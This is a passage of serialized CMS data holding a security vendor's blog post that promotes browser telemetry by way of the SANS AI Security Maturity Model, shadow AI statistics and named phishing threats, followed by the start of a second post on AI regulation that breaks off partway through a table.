DBIR","hyperlink",{"data":884,"marks":885,"value":886,"nodeType":865},{},[]," quantifies the scale: 45% of employees are now regular AI users on corporate devices (up from 15% the prior year), with 67% using personal accounts. ",{"data":888,"content":890,"nodeType":882},{"uri":889},"https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai",[891],{"data":892,"marks":893,"value":894,"nodeType":865},{},[],"Push data",{"data":896,"marks":897,"value":898,"nodeType":865},{},[]," further shows that 38% of file uploads to AI tools come from those shadow accounts rather than approved organizational ones — and the DBIR shows what's going into them: of 858,000+ DLP events targeting GenAI applications, the most common data types were source code (28%), structured data (14%), and documents and PDFs (23% combined).",{"data":900,"content":901,"nodeType":866},{},[902,906,913],{"data":903,"marks":904,"value":905,"nodeType":865},{},[],"The average organization now has ",{"data":907,"content":908,"nodeType":882},{"uri":889},[909],{"data":910,"marks":911,"value":912,"nodeType":865},{},[],"16 unique AI apps, 17 AI browser extensions, and 17 AI OAuth integrations",{"data":914,"marks":915,"value":916,"nodeType":865},{},[]," in active use, most unapproved. Shadow AI was the third most common non-malicious insider action in the DBIR, up 4x year over year.",{"data":918,"content":924,"nodeType":925},{"target":919},{"sys":920},{"id":921,"type":922,"linkType":923},"2hsKQ9DEspflhmtR0bE7QY","Link","Entry",[],"embedded-entry-block",{"data":927,"content":928,"nodeType":866},{},[929],{"data":930,"marks":931,"value":932,"nodeType":865},{},[],"These statistics expose an attack surface and unmanaged risks at a high level. But the real problem is that most organizations can't produce a basic inventory of which AI tools are in use, let alone demonstrate controls around any of them. ",{"data":934,"content":935,"nodeType":866},{},[936,940,946],{"data":937,"marks":938,"value":939,"nodeType":865},{},[],"That gap between awareness and capability is where most organizations are stuck. And understanding ",{"data":941,"marks":942,"value":945,"nodeType":865},{},[943],{"type":944},"italic","why",{"data":947,"marks":948,"value":949,"nodeType":865},{},[]," they're stuck requires a framework for what progress actually looks like.",{"data":951,"content":952,"nodeType":953},{},[],"hr",{"data":955,"content":956,"nodeType":963},{},[957],{"data":958,"marks":959,"value":962,"nodeType":865},{},[960],{"type":961},"bold","A model for measuring what most organizations already feel","heading-1",{"data":965,"content":966,"nodeType":866},{},[967,971,979],{"data":968,"marks":969,"value":970,"nodeType":865},{},[],"Chris Cochran's ",{"data":972,"content":974,"nodeType":882},{"uri":973},"https://sansorg.egnyte.com/dl/XtgqfjkjBjp8",[975],{"data":976,"marks":977,"value":978,"nodeType":865},{},[],"SANS AI Security Maturity Model",{"data":980,"marks":981,"value":982,"nodeType":865},{},[],", published earlier this year, provides a framework for addressing this gap. It defines five stages of AI security maturity across three pillars:",{"data":984,"content":985,"nodeType":1049},{},[986,1004,1020],{"data":987,"content":988,"nodeType":1003},{},[989],{"data":990,"content":991,"nodeType":866},{},[992,999],{"data":993,"marks":994,"value":998,"nodeType":865},{},[995,996],{"type":961},{"type":997},"underline","Protect AI:",{"data":1000,"marks":1001,"value":1002,"nodeType":865},{},[]," Defending against AI-enabled threats like adversarial attacks, prompt injection, compromised browser extensions, and AI agents operating with unchecked permissions.","list-item",{"data":1005,"content":1006,"nodeType":1003},{},[1007],{"data":1008,"content":1009,"nodeType":866},{},[1010,1016],{"data":1011,"marks":1012,"value":1015,"nodeType":865},{},[1013,1014],{"type":961},{"type":997},"Utilize AI:",{"data":1017,"marks":1018,"value":1019,"nodeType":865},{},[]," Using AI to strengthen security operations by using AI-powered detection and triage, behavioral analytics, and automated response playbooks.",{"data":1021,"content":1022,"nodeType":1003},{},[1023],{"data":1024,"content":1025,"nodeType":866},{},[1026,1032,1036,1045],{"data":1027,"marks":1028,"value":1031,"nodeType":865},{},[1029,1030],{"type":961},{"type":997},"Govern AI:",{"data":1033,"marks":1034,"value":1035,"nodeType":865},{},[]," Managing how the organization adopts and uses AI tools. Things like acceptable use policies, shadow AI discovery, data classification, access controls, and risk assessment. This is the pillar that gets the most attention in boardroom conversations today, driven in part by ",{"data":1037,"content":1039,"nodeType":882},{"uri":1038},"https://pushsecurity.com/blog/browser-visibility-and-control-can-achieve-ai-compliance",[1040],{"data":1041,"marks":1042,"value":1044,"nodeType":865},{},[1043],{"type":997},"regulatory pressure",{"data":1046,"marks":1047,"value":1048,"nodeType":865},{},[],".","unordered-list",{"data":1051,"content":1052,"nodeType":866},{},[1053],{"data":1054,"marks":1055,"value":1056,"nodeType":865},{},[],"How an organization invests across these three pillars, and whether it invests across all of them, determines whether it advances toward maturity in this area or stalls out at the early steps.",{"data":1058,"content":1062,"nodeType":925},{"target":1059},{"sys":1060},{"id":1061,"type":922,"linkType":923},"1JV3KG97JQNFKwODnMCMq2",[],{"data":1064,"content":1065,"nodeType":866},{},[1066],{"data":1067,"marks":1068,"value":1069,"nodeType":865},{},[],"The SANS AI maturity model outlines 5 stages that organizations must progress through in order to reach an optimal security posture:",{"data":1071,"content":1072,"nodeType":1049},{},[1073,1089,1105,1121,1137],{"data":1074,"content":1075,"nodeType":1003},{},[1076],{"data":1077,"content":1078,"nodeType":866},{},[1079,1085],{"data":1080,"marks":1081,"value":1084,"nodeType":865},{},[1082,1083],{"type":961},{"type":997},"Stage 1 (Unaware / Ad Hoc)",{"data":1086,"marks":1087,"value":1088,"nodeType":865},{},[]," is where employees are freely using AI tools with no oversight, no inventory exists, and leadership may not even know how much AI is in use. There's no policy to violate, so technically it's not even shadow AI yet; it's just unmanaged adoption.",{"data":1090,"content":1091,"nodeType":1003},{},[1092],{"data":1093,"content":1094,"nodeType":866},{},[1095,1101],{"data":1096,"marks":1097,"value":1100,"nodeType":865},{},[1098,1099],{"type":961},{"type":997},"Stage 2 (Reactive / Policy-Emerging)",{"data":1102,"marks":1103,"value":1104,"nodeType":865},{},[]," means a policy exists, but it's course-grained: \"Don't use AI\" or \"use with caution.\" Known AI tools may be blocked at the network level. Security teams are learning about AI-specific threats but don't have dedicated expertise or tooling.",{"data":1106,"content":1107,"nodeType":1003},{},[1108],{"data":1109,"content":1110,"nodeType":866},{},[1111,1117],{"data":1112,"marks":1113,"value":1116,"nodeType":865},{},[1114,1115],{"type":961},{"type":997},"Stage 3 (Defined / Risk-Informed)",{"data":1118,"marks":1119,"value":1120,"nodeType":865},{},[]," is where things get intentional. AI usage is governed through enterprise tools rather than outright bans. AI systems are included in security assessments. The organization can demonstrate mature governance to regulators and partners. For many organizations, this is a strong and defensible operating position.",{"data":1122,"content":1123,"nodeType":1003},{},[1124],{"data":1125,"content":1126,"nodeType":866},{},[1127,1133],{"data":1128,"marks":1129,"value":1132,"nodeType":865},{},[1130,1131],{"type":961},{"type":997},"Stage 4 (Managed / Integrated)",{"data":1134,"marks":1135,"value":1136,"nodeType":865},{},[]," means AI is deeply embedded in security operations with measurable outcomes. AI systems are secured by design. Risk is quantified, not estimated. Decisions are data-driven. This is where organizations can handle AI-specific threats and operate at the tempo that AI-augmented adversaries demand.",{"data":1138,"content":1139,"nodeType":1003},{},[1140],{"data":1141,"content":1142,"nodeType":866},{},[1143,1149],{"data":1144,"marks":1145,"value":1148,"nodeType":865},{},[1146,1147],{"type":961},{"type":997},"Stage 5 (Optimizing / Adaptive)",{"data":1150,"marks":1151,"value":1152,"nodeType":865},{},[]," is the frontier of AI-native security with self-improving defenses. Elements of this stage exist primarily in large technology companies, defense contractors, and AI-native firms. For most organizations, this is a multi-year journey.",{"data":1154,"content":1155,"nodeType":866},{},[1156],{"data":1157,"marks":1158,"value":1159,"nodeType":865},{},[],"Most of the security leaders I talk to land between Stage 1 and Stage 2. They have awareness, maybe a policy, but not the tooling or telemetry to demonstrate much beyond that. ",{"data":1161,"content":1162,"nodeType":866},{},[1163],{"data":1164,"marks":1165,"value":1166,"nodeType":865},{},[],"The model is pragmatic about these challenges. It doesn't expect every organization to reach Stage 5, and it adjusts maturity targets by sector. ",{"data":1168,"content":1169,"nodeType":866},{},[1170,1174,1179],{"data":1171,"marks":1172,"value":1173,"nodeType":865},{},[],"But it ",{"data":1175,"marks":1176,"value":1178,"nodeType":865},{},[1177],{"type":944},"does",{"data":1180,"marks":1181,"value":1182,"nodeType":865},{},[]," require evidence of progress, not just intent. And for the majority sitting at Stage 2, the hard part is identifying the right steps to move from being merely reactive to a posture of operational readiness. That’s the chasm to cross.",{"data":1184,"content":1185,"nodeType":953},{},[],{"data":1187,"content":1188,"nodeType":963},{},[1189],{"data":1190,"marks":1191,"value":1193,"nodeType":865},{},[1192],{"type":961},"The chasm",{"data":1195,"content":1196,"nodeType":866},{},[1197],{"data":1198,"marks":1199,"value":1200,"nodeType":865},{},[],"For the organizations sitting at Stage 2, current state often looks like this: They've written an AI acceptable use policy, and maybe they've blocked known AI apps at the network level. They've trained employees on what's allowed and what isn't. ",{"data":1202,"content":1203,"nodeType":866},{},[1204],{"data":1205,"marks":1206,"value":1207,"nodeType":865},{},[],"To be sure, blocking is the fastest lever a security team can pull, and it represents visible progress to the business. The problem is that it rarely stays effective. ",{"data":1209,"content":1210,"nodeType":866},{},[1211],{"data":1212,"marks":1213,"value":1215,"nodeType":865},{},[1214],{"type":961},"SANS calls the pattern that traps most organizations at Stage 2 the \"Framework of No.\" ",{"data":1217,"content":1218,"nodeType":866},{},[1219],{"data":1220,"marks":1221,"value":1222,"nodeType":865},{},[],"\"A block-based AI policy may feel like risk management, but practitioner experience shows it typically drives AI usage underground rather than preventing it,” the report notes. “This is the pattern SANS has documented as the 'Framework of No,' and it is why the Stage 2 to Stage 3 transition is so critical.\"",{"data":1224,"content":1225,"nodeType":866},{},[1226,1231],{"data":1227,"marks":1228,"value":1230,"nodeType":865},{},[1229],{"type":944},"This",{"data":1232,"marks":1233,"value":1234,"nodeType":865},{},[]," is the chasm. On one side: awareness and policy. On the other: operational capability - the tooling, telemetry, and controls that let a security team see what's happening and respond to it. Most organizations are standing on the awareness side, looking across, not sure how to get over.",{"data":1236,"content":1240,"nodeType":925},{"target":1237},{"sys":1238},{"id":1239,"type":922,"linkType":923},"187mKPZV8tVbsw17L2cWIU",[],{"data":1242,"content":1243,"nodeType":866},{},[1244],{"data":1245,"marks":1246,"value":1247,"nodeType":865},{},[],"The model is specific about what crossing requires. The steps from Stage 2 to Stage 3 include technical BYOAI discovery (not a survey, but automated discovery), AI-specific data classification, AI-aware controls, and a cross-functional governance body. Data classification is a critical prerequisite: \"You cannot write an effective AI policy without knowing where sensitive data lives,\" the report emphasizes.",{"data":1249,"content":1250,"nodeType":866},{},[1251],{"data":1252,"marks":1253,"value":1254,"nodeType":865},{},[],"These are visibility and measurement problems before they're policy problems. You can't govern what you can't see. You can't classify risk you can't measure. And a blocklist that pushes usage underground doesn't give you either: it just makes the gap between your policy and your reality harder to detect.",{"data":1256,"content":1257,"nodeType":866},{},[1258],{"data":1259,"marks":1260,"value":1261,"nodeType":865},{},[],"Getting this visibility right is necessary for crossing the chasm. But it’s not the only step organizations must undertake if they want to address their AI risk.",{"data":1263,"content":1264,"nodeType":953},{},[],{"data":1266,"content":1267,"nodeType":963},{},[1268],{"data":1269,"marks":1270,"value":1272,"nodeType":865},{},[1271],{"type":961},"Governance is key, but don't forget about protection",{"data":1274,"content":1275,"nodeType":866},{},[1276,1280,1285],{"data":1277,"marks":1278,"value":1279,"nodeType":865},{},[],"Most AI security conversations today - the vendor pitches, board decks, and compliance checklists - are about the ",{"data":1281,"marks":1282,"value":1284,"nodeType":865},{},[1283],{"type":961},"Govern",{"data":1286,"marks":1287,"value":1288,"nodeType":865},{},[]," pillar. Shadow AI discovery. Usage policies. Data classification. Controls around what employees paste into AI prompts or upload to AI tools. It's important work.",{"data":1290,"content":1291,"nodeType":866},{},[1292,1296,1301],{"data":1293,"marks":1294,"value":1295,"nodeType":865},{},[],"But the SANS model gives roughly equal weight to a second pillar that gets almost no attention: ",{"data":1297,"marks":1298,"value":1300,"nodeType":865},{},[1299],{"type":961},"Protect",{"data":1302,"marks":1303,"value":1304,"nodeType":865},{},[]," - defending against AI-enabled attacks.",{"data":1306,"content":1307,"nodeType":866},{},[1308],{"data":1309,"marks":1310,"value":1311,"nodeType":865},{},[],"The Protect pillar starts from a stark baseline. At Stage 1, most organizations have no visibility into which AI agents or browser extensions have access to their corporate environment, let alone a framework for understanding how those could be attacked. ",{"data":1313,"content":1314,"nodeType":866},{},[1315],{"data":1316,"marks":1317,"value":1318,"nodeType":865},{},[],"By Stage 3, the model expects runtime validation of AI tools and plugins, detection capabilities mapped to AI-specific attack frameworks, and controls that cover the growing surface area of agentic AI. ",{"data":1320,"content":1321,"nodeType":866},{},[1322],{"data":1323,"marks":1324,"value":1325,"nodeType":865},{},[],"By Stage 4, organizations need real-time monitoring of AI agent behavior and defenses against attacks that exploit trust relationships between AI systems — capabilities most security teams haven't started scoping, much less building or procuring.",{"data":1327,"content":1328,"nodeType":866},{},[1329,1333,1343],{"data":1330,"marks":1331,"value":1332,"nodeType":865},{},[],"These are detection and response capabilities, not governance exercises — and the attacks they address are already well underway. ",{"data":1334,"content":1336,"nodeType":882},{"uri":1335},"https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/",[1337],{"data":1338,"marks":1339,"value":1342,"nodeType":865},{},[1340,1341],{"type":997},{"type":961},"One in three phishing payloads",{"data":1344,"marks":1345,"value":1346,"nodeType":865},{},[]," intercepted by Push arrive outside of email, through channels where most security controls don't exist. Evidence of the growth of browser-based attack methods enabled by AI tooling abounds:",{"data":1348,"content":1349,"nodeType":1049},{},[1350,1372,1394],{"data":1351,"content":1352,"nodeType":1003},{},[1353],{"data":1354,"content":1355,"nodeType":866},{},[1356,1360,1368],{"data":1357,"marks":1358,"value":1359,"nodeType":865},{},[],"CrowdStrike's 2026 Global Threat Report documented a ",{"data":1361,"content":1363,"nodeType":882},{"uri":1362},"https://www.crowdstrike.com/explore/2026-global-threat-report",[1364],{"data":1365,"marks":1366,"value":1367,"nodeType":865},{},[],"563% increase in ClickFix lures",{"data":1369,"marks":1370,"value":1371,"nodeType":865},{},[]," — fake CAPTCHA pages that trick users into executing malicious commands on their own machines.",{"data":1373,"content":1374,"nodeType":1003},{},[1375],{"data":1376,"content":1377,"nodeType":866},{},[1378,1382,1390],{"data":1379,"marks":1380,"value":1381,"nodeType":865},{},[],"Push has tracked a ",{"data":1383,"content":1385,"nodeType":882},{"uri":1384},"https://pushsecurity.com/blog/device-code-phishing/",[1386],{"data":1387,"marks":1388,"value":1389,"nodeType":865},{},[],"37x increase in device code phishing",{"data":1391,"marks":1392,"value":1393,"nodeType":865},{},[]," since the start of 2026, with 18+ distinct kits now offering the technique.",{"data":1395,"content":1396,"nodeType":1003},{},[1397],{"data":1398,"content":1399,"nodeType":866},{},[1400,1403,1412,1416,1421,1425,1430],{"data":1401,"marks":1402,"value":21,"nodeType":865},{},[],{"data":1404,"content":1406,"nodeType":882},{"uri":1405},"https://www.anthropic.com/news/AI-enabled-cyber-threats-mitre-attack",[1407],{"data":1408,"marks":1409,"value":1411,"nodeType":865},{},[1410],{"type":997},"Anthropic",{"data":1413,"marks":1414,"value":1415,"nodeType":865},{},[]," identified ",{"data":1417,"marks":1418,"value":1420,"nodeType":865},{},[1419],{"type":961},"793 threat actors using AI",{"data":1422,"marks":1423,"value":1424,"nodeType":865},{},[]," for malicious cybersecurity purposes between March 2025 and February 2026, with the 2026 Verizon DBIR finding that ",{"data":1426,"marks":1427,"value":1429,"nodeType":865},{},[1428],{"type":961},"44% of AI-assisted initial access was phishing-related",{"data":1431,"marks":1432,"value":1048,"nodeType":865},{},[],{"data":1434,"content":1435,"nodeType":866},{},[1436],{"data":1437,"marks":1438,"value":1439,"nodeType":865},{},[],"Attackers are already vibecoding phishing kits, rotating infrastructure daily, and exploiting identity flows that traditional endpoint and network tools can't see.",{"data":1441,"content":1442,"nodeType":866},{},[1443],{"data":1444,"marks":1445,"value":1446,"nodeType":865},{},[],"The SANS model makes the speed argument a central focus at Stage 4: Detection built for human-pace adversaries is increasingly insufficient when threats operate at machine speed. For organizations investing exclusively in AI governance, AI-enabled threats represent an entire category of risk that is not being addressed.",{"data":1448,"content":1449,"nodeType":953},{},[],{"data":1451,"content":1452,"nodeType":1458},{},[1453],{"data":1454,"marks":1455,"value":1457,"nodeType":865},{},[1456],{"type":961},"Why governance alone can't close the gap","heading-2",{"data":1460,"content":1461,"nodeType":866},{},[1462,1466,1471],{"data":1463,"marks":1464,"value":1465,"nodeType":865},{},[],"An organization can have an AI policy, shadow AI discovery, data classification, and usage controls, and ",{"data":1467,"marks":1468,"value":1470,"nodeType":865},{},[1469],{"type":944},"still",{"data":1472,"marks":1473,"value":1474,"nodeType":865},{},[]," be exposed. When an employee hits a device code phishing page or a ClickFix lure, the governance program documented the risk perfectly. It just couldn't stop the attack. The policy existed but the detection (and ideally, mitigation) didn't.",{"data":1476,"content":1477,"nodeType":866},{},[1478],{"data":1479,"marks":1480,"value":1481,"nodeType":865},{},[],"The reverse is equally true, and it's why the SANS model treats the pillars as interdependent rather than sequential. Detection capabilities that fire into a void with no policy to act on findings, no classification to assess exposure, and no governance body to shape proactive policy just create alerts, not security. ",{"data":1483,"content":1484,"nodeType":866},{},[1485],{"data":1486,"marks":1487,"value":1488,"nodeType":865},{},[],"Yet most organizations are only investing heavily in one side of the solution, which is almost always Govern. The maturity model is explicit about the risks of this approach: Governance with no attack detection leaves a critical gap. ",{"data":1490,"content":1491,"nodeType":866},{},[1492],{"data":1493,"marks":1494,"value":1496,"nodeType":865},{},[1495],{"type":961},"Closing the gap requires a control point where both problems are visible and addressable.",{"data":1498,"content":1499,"nodeType":953},{},[],{"data":1501,"content":1502,"nodeType":963},{},[1503],{"data":1504,"marks":1505,"value":1507,"nodeType":865},{},[1506],{"type":961},"Crossing the chasm requires addressing both pillars at once",{"data":1509,"content":1510,"nodeType":866},{},[1511,1515,1522],{"data":1512,"marks":1513,"value":1514,"nodeType":865},{},[],"The bottleneck for most security programs ",{"data":1516,"content":1517,"nodeType":882},{"uri":1335},[1518],{"data":1519,"marks":1520,"value":1521,"nodeType":865},{},[],"isn't frameworks or strategy — it's data quality",{"data":1523,"marks":1524,"value":1525,"nodeType":865},{},[],". For teams taking on the dual problems of shadow AI and AI-enabled attacks, browser telemetry is the foundation to any meaningful solution. That’s because both problems converge in the same place.",{"data":1527,"content":1528,"nodeType":866},{},[1529],{"data":1530,"marks":1531,"value":1532,"nodeType":865},{},[],"AI-enabled phishing attacks, credential theft, malicious browser extensions, and OAuth exploitation happen in the browser. So do shadow AI adoption, sensitive data pasted into AI prompts, file uploads to unapproved tools, and unauthorized integrations. The browser is where external attacks and internal misuse are both visible and stoppable.",{"data":1534,"content":1535,"nodeType":866},{},[1536],{"data":1537,"marks":1538,"value":1539,"nodeType":865},{},[],"For the security team trying to advance past the Framework of No, browser telemetry replaces the blunt instrument of network-level blocking with actual visibility:",{"data":1541,"content":1542,"nodeType":1049},{},[1543,1553,1563],{"data":1544,"content":1545,"nodeType":1003},{},[1546],{"data":1547,"content":1548,"nodeType":866},{},[1549],{"data":1550,"marks":1551,"value":1552,"nodeType":865},{},[],"which AI apps are in use (including personal account usage)",{"data":1554,"content":1555,"nodeType":1003},{},[1556],{"data":1557,"content":1558,"nodeType":866},{},[1559],{"data":1560,"marks":1561,"value":1562,"nodeType":865},{},[],"what data is moving into them (file uploads, clipboard activity)",{"data":1564,"content":1565,"nodeType":1003},{},[1566],{"data":1567,"content":1568,"nodeType":866},{},[1569],{"data":1570,"marks":1571,"value":1572,"nodeType":865},{},[],"graduated controls - per-app, per-user group, per-content pattern - that can monitor, warn, or block based on context rather than allow/deny",{"data":1574,"content":1575,"nodeType":866},{},[1576],{"data":1577,"marks":1578,"value":1579,"nodeType":865},{},[],"The same browser-layer instrumentation can also provide real-time detection of credential phishing, ClickFix, adversary-in-the-middle attacks, and device code phishing. And it can detect and disable malicious browser extensions based on confirmed threat intelligence, monitor OAuth integrations, and generate the identity attack surface data (login behaviors, MFA gaps, SSO coverage) that the Protect pillar requires at Stage 3 maturity and beyond.",{"data":1581,"content":1582,"nodeType":866},{},[1583],{"data":1584,"marks":1585,"value":1586,"nodeType":865},{},[],"We built Push around this insight: that the browser is where both problems converge, and a single deployment can advance AI security maturity in both areas simultaneously. The SANS model makes the same argument.",{"data":1588,"content":1589,"nodeType":953},{},[],{"data":1591,"content":1592,"nodeType":963},{},[1593],{"data":1594,"marks":1595,"value":1597,"nodeType":865},{},[1596],{"type":961},"Where to start: 5 steps to maturity with Push",{"data":1599,"content":1600,"nodeType":866},{},[1601],{"data":1602,"marks":1603,"value":1604,"nodeType":865},{},[],"The chasm closes when organizations make meaningful strides forward in both AI governance and proactive defense against AI-enabled attacks. Here's the starting plan that I'd recommend, and Push can provide the tooling to automate these steps:",{"data":1606,"content":1607,"nodeType":866},{},[1608,1613],{"data":1609,"marks":1610,"value":1612,"nodeType":865},{},[1611],{"type":961},"1. Build an AI inventory automatically.",{"data":1614,"marks":1615,"value":1616,"nodeType":865},{},[]," Every stage transition in the SANS model starts with knowing what's in your environment. A manual survey won't cut it; employees won't self-report the tools they're not sure they're allowed to use, and may overlook apps where AI is a feature but not the core function (AI-enabled apps). Instead, organizations should deploy automated discovery for AI apps, browser extensions, and OAuth integrations across the workforce - including the ones using personal accounts. Until this inventory exists, every policy decision is based on incomplete information.",{"data":1618,"content":1622,"nodeType":925},{"target":1619},{"sys":1620},{"id":1621,"type":922,"linkType":923},"2t3u0NydllImv6NzvAY058",[],{"data":1624,"content":1625,"nodeType":866},{},[1626,1631],{"data":1627,"marks":1628,"value":1630,"nodeType":865},{},[1629],{"type":961},"2. Classify what you find.",{"data":1632,"marks":1633,"value":1634,"nodeType":865},{},[]," Not all AI usage carries the same risk. A developer pasting code into ChatGPT and a salesperson using an AI notetaker are different problems. Once you can see the tools, categorize them by data sensitivity, authorization status, and access scope. The SANS model calls out data classification as a critical prerequisite; you can't write an effective AI policy without knowing where sensitive data lives.",{"data":1636,"content":1637,"nodeType":866},{},[1638,1643],{"data":1639,"marks":1640,"value":1642,"nodeType":865},{},[1641],{"type":961},"3. Turn on browser-layer detection.",{"data":1644,"marks":1645,"value":1646,"nodeType":865},{},[]," This is the step most organizations skip, and it's why addressing only the Protect pillar will keep you at Stage 1. AI-enabled phishing, ClickFix attacks, device code phishing, malicious extension updates, and OAuth exploitation all execute in the browser. Without detection in that layer, there's no visibility into the fastest-growing attack category, and no path to advancing beyond basic AI usage awareness.",{"data":1648,"content":1652,"nodeType":925},{"target":1649},{"sys":1650},{"id":1651,"type":922,"linkType":923},"1fzuGjA6VSbVl1p7vM1mt7",[],{"data":1654,"content":1655,"nodeType":866},{},[1656,1661],{"data":1657,"marks":1658,"value":1660,"nodeType":865},{},[1659],{"type":961},"4. Move from blocking to graduated controls.",{"data":1662,"marks":1663,"value":1664,"nodeType":865},{},[]," The Framework of No fails because it's binary: allow or deny, with nothing in between. Organizations that cross the chasm adopt monitor, warn, and block modes — per app, per user group, per content pattern. Monitor first to see what's happening, warn to change behavior without disrupting workflows, and block only where the risk justifies it. This is the operational difference between Stage 2 and Stage 3.",{"data":1666,"content":1667,"nodeType":866},{},[1668,1673,1677,1683],{"data":1669,"marks":1670,"value":1672,"nodeType":865},{},[1671],{"type":961},"5. Assess yourself honestly against evidence, not aspiration.",{"data":1674,"marks":1675,"value":1676,"nodeType":865},{},[]," The ",{"data":1678,"content":1679,"nodeType":882},{"uri":973},[1680],{"data":1681,"marks":1682,"value":978,"nodeType":865},{},[],{"data":1684,"marks":1685,"value":1686,"nodeType":865},{},[]," includes a self-assessment and industry-specific weighting profiles. The value isn't in the score, but in identifying which pillar is keeping you from advancing.",{"data":1688,"content":1689,"nodeType":866},{},[1690],{"data":1691,"marks":1692,"value":1693,"nodeType":865},{},[],"The organizations that cross the AI security chasm will be the ones that recognize early that AI security isn't one problem with one solution. It's two problems that happen to share a control point. The most efficient path forward is a platform that addresses both.",{"data":1695,"content":1696,"nodeType":953},{},[],{"data":1698,"content":1699,"nodeType":963},{},[1700],{"data":1701,"marks":1702,"value":1704,"nodeType":865},{},[1703],{"type":961},"Learn more about Push",{"data":1706,"content":1707,"nodeType":866},{},[1708],{"data":1709,"marks":1710,"value":1711,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser - high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":1713,"content":1714,"nodeType":866},{},[1715],{"data":1716,"marks":1717,"value":1718,"nodeType":865},{},[],"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",{"data":1720,"content":1721,"nodeType":866},{},[1722,1726,1735],{"data":1723,"marks":1724,"value":1725,"nodeType":865},{},[],"Book a ",{"data":1727,"content":1729,"nodeType":882},{"uri":1728},"https://pushsecurity.com/demo",[1730],{"data":1731,"marks":1732,"value":1734,"nodeType":865},{},[1733],{"type":997},"live demo",{"data":1736,"marks":1737,"value":1738,"nodeType":865},{},[]," to learn more.","document",{"entries":1741},{"hyperlink":1742,"inline":1743,"block":1744},[],[],[1745,1754,1761,1767,1773],{"sys":1746,"__typename":1747,"title":1748,"caption":1749,"layoutMode":59,"file":1750},{"id":921},"Image","ai-sprawl-infographic","AI sprawl is worse than most organizations realize. ",{"url":1751,"width":1752,"height":1753},"https://images.ctfassets.net/y1cdw1ablpvd/7vCbQdyRkjLs5EmsjBBAQp/3bfb13e7ec19be76325cdc69297c48c3/ai-sprawl-infographic_2x__3_.png",1800,1192,{"sys":1755,"__typename":1747,"title":1756,"caption":1756,"layoutMode":59,"file":1757},{"id":1061},"SANS AI Security Maturity Model. Credit: SANS Institute",{"url":1758,"width":1759,"height":1760},"https://images.ctfassets.net/y1cdw1ablpvd/7a9wgGdzZdS8c0nAzrlJqk/85657448d9d1bb34e126ba85e79ce27c/image2.png",1999,1489,{"sys":1762,"__typename":1747,"title":1763,"caption":1763,"layoutMode":59,"file":1764},{"id":1239},"Crossing the AI security chasm requires focusing both on AI governance, and protection against AI-enabled attacks.",{"url":1765,"width":1759,"height":1766},"https://images.ctfassets.net/y1cdw1ablpvd/749gGzgSPy9n58LU9WFZ02/7c1327e38b1be213013f102f0dccc306/image4.png",1106,{"sys":1768,"__typename":1747,"title":1769,"caption":1769,"layoutMode":59,"file":1770},{"id":1621},"Push automatically inventories apps accessed by your employees and categorizes them.",{"url":1771,"width":1759,"height":1772},"https://images.ctfassets.net/y1cdw1ablpvd/6HZ0uOS63oeT1KmnRu0rWB/db9a27ff0a230237d3e5bfda56386592/image5.png",1138,{"sys":1774,"__typename":1747,"title":1775,"caption":1775,"layoutMode":59,"file":1776},{"id":1651},"Sample detection details in the Push admin console for a blocked phishing event",{"url":1777,"width":1759,"height":1778},"https://images.ctfassets.net/y1cdw1ablpvd/vIFT3CvEkR3MPQdI5DIoa/4f59424365c3c90c232e287dac85bf2c/image3.png",766,{"items":1780},[],{},"Crossing the chasm with the SANS AI security maturity model","thought-leadership","2026-06-24T00:00:00.000Z",{"items":1786},[1787,2837,3779],{"__typename":1788,"sys":1789,"content":1791,"title":2816,"synopsis":2817,"hashTags":59,"publishedDate":2818,"slug":2819,"tagsCollection":2820,"authorsCollection":2829},"BlogPosts",{"id":1790},"19QvRR4NcSe3PHQEhID42Q",{"json":1792},{"data":1793,"content":1794,"nodeType":1739},{},[1795,1803,1810,1818,2397,2403,2410,2417,2420,2428,2435,2443,2450,2456,2461,2469,2485,2493,2500,2508,2515,2521,2529,2536,2542,2545,2553,2572,2592,2611,2618,2621,2629,2636,2647,2654,2665,2672,2678,2689,2696,2707,2714,2721,2727,2738,2745,2748,2756,2763,2770,2777,2783,2786,2793,2799],{"data":1796,"content":1797,"nodeType":963},{},[1798],{"data":1799,"marks":1800,"value":1802,"nodeType":865},{},[1801],{"type":961},"The AI regulatory landscape is moving fast",{"data":1804,"content":1805,"nodeType":866},{},[1806],{"data":1807,"marks":1808,"value":1809,"nodeType":865},{},[],"The regulatory landscape around AI has shifted from theoretical to operational faster than most compliance teams expected. Several regulations are already in force, presenting not just a legal but also significant operational challenge to organizations covered by these regulations. ",{"data":1811,"content":1812,"nodeType":866},{},[1813],{"data":1814,"marks":1815,"value":1817,"nodeType":865},{},[1816],{"type":961},"First, here's a summary of the key frameworks and what they require:",{"data":1819,"content":1820,"nodeType":2396},{},[1821,1870,1960,2026,2081,2207,2262,2329],{"data":1822,"content":1823,"nodeType":1869},{},[1824,1836,1847,1858],{"data":1825,"content":1826,"nodeType":1835},{},[1827],{"data":1828,"content":1829,"nodeType":866},{},[1830],{"data":1831,"marks":1832,"value":1834,"nodeType":865},{},[1833],{"type":961},"Regulation","table-cell",{"data":1837,"content":1838,"nodeType":1835},{},[1839],{"data":1840,"content":1841,"nodeType":866},{},[1842],{"data":1843,"marks":1844,"value":1846,"nodeType":865},{},[1845],{"type":961},"Jurisdiction",{"data":1848,"content":1849,"nodeType":1835},{},[1850],{"data":1851,"content":1852,"nodeType":866},{},[1853],{"data":1854,"marks":1855,"value":1857,"nodeType":865},{},[1856],{"type":961},"What it requires for 